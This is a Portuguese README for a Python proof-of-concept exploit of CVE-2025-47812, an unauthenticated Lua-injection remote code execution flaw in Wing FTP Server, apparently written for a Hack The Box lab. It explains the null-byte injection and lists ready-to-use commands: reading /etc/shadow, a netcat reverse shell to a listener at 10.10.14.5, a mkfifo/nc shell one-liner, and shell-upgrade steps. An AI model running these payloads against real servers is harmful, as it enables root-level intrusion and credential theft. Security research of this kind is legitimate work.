
CVE-2025-47812 Poc para wingdata HTB
Exploit em Python para o RCE por injeção de Lua não autenticado no Wing FTP Server ≤ 7.4.3. Projetado para entrega de shell — um comando do check para um callback netcat funcional.
Escrito há algum tempo para o laboratório wingData no HTB e agora open-source. Use apenas contra sistemas que você possui ou tem permissão por escrito para testar.
A função c_CheckUser() do Wing FTP trunca o username no primeiro byte NULL para autenticação, mas o caminho de criação de sessão escreve o nome de usuário completo e não higienizado em um arquivo de sessão Lua. Injete anonymous%00]]<lua>-- e o servidor felizmente escreve seu Lua na sessão. Acessar qualquer endpoint autenticado (dir.html funciona) carrega esse arquivo de sessão via loadfile() → f(), executando o código injetado como root / SYSTEM.
Afetado: Wing FTP Server ≤ 7.4.3. Corrigido na versão 7.4.4.
pip install requests
Só isso — sem outras dependências.
# 1. Confirme se o alvo é vulnerável (executa `id` e verifica `uid=`)
python3 exploit.py -u http://target:5466/ check
# 2. Comando único — captura stdout E stderr
python3 exploit.py -u http://target:5466/ exec "id"
python3 exploit.py -u http://target:5466/ exec "cat /etc/shadow"
python3 exploit.py -u http://target:5466/ exec "find / -perm -4000 2>/dev/null"
# 3. Shell reverso (o caminho fácil)
# Terminal 1:
nc -lvnp 4444
# Terminal 2:
python3 exploit.py -u http://target:5466/ shell 10.10.14.5 4444
# 4. Payload arbitrário destacado — atirar e esquecer. Útil quando o bash está ausente:
python3 exploit.py -u http://target:5466/ detached \
"rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.5 4444 >/tmp/f"
http://target:5466/login.html em um navegador antes de assumir que a URL está errada.shell não conseguir um callback, recorra ao detached com o payload mkfifo acima. Algumas imagens Linux mínimas não incluem bash.python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
# Enter, Enter
export TERM=xterm
Apenas para uso educacional e testes de segurança autorizados. Você é responsável pelos alvos para os quais aponta isso.
MIT — veja LICENSE.
| Flag | Padrão | Propósito |
|---|
-u, --url | obrigatório | URL base do alvo — Wing FTP normalmente escuta na porta :5466 (HTTP) ou :5467 (HTTPS). |
-U, --username | anonymous | Nome de usuário antes do byte NULL. Anônimo funciona em instalações padrão. |
-P, --password | vazio | Senha para o POST de injeção. Vazio é suficiente para anônimo. |
-v, --verbose | desligado | Exibe o payload Lua, URLs acessadas e o corpo da resposta bruta. |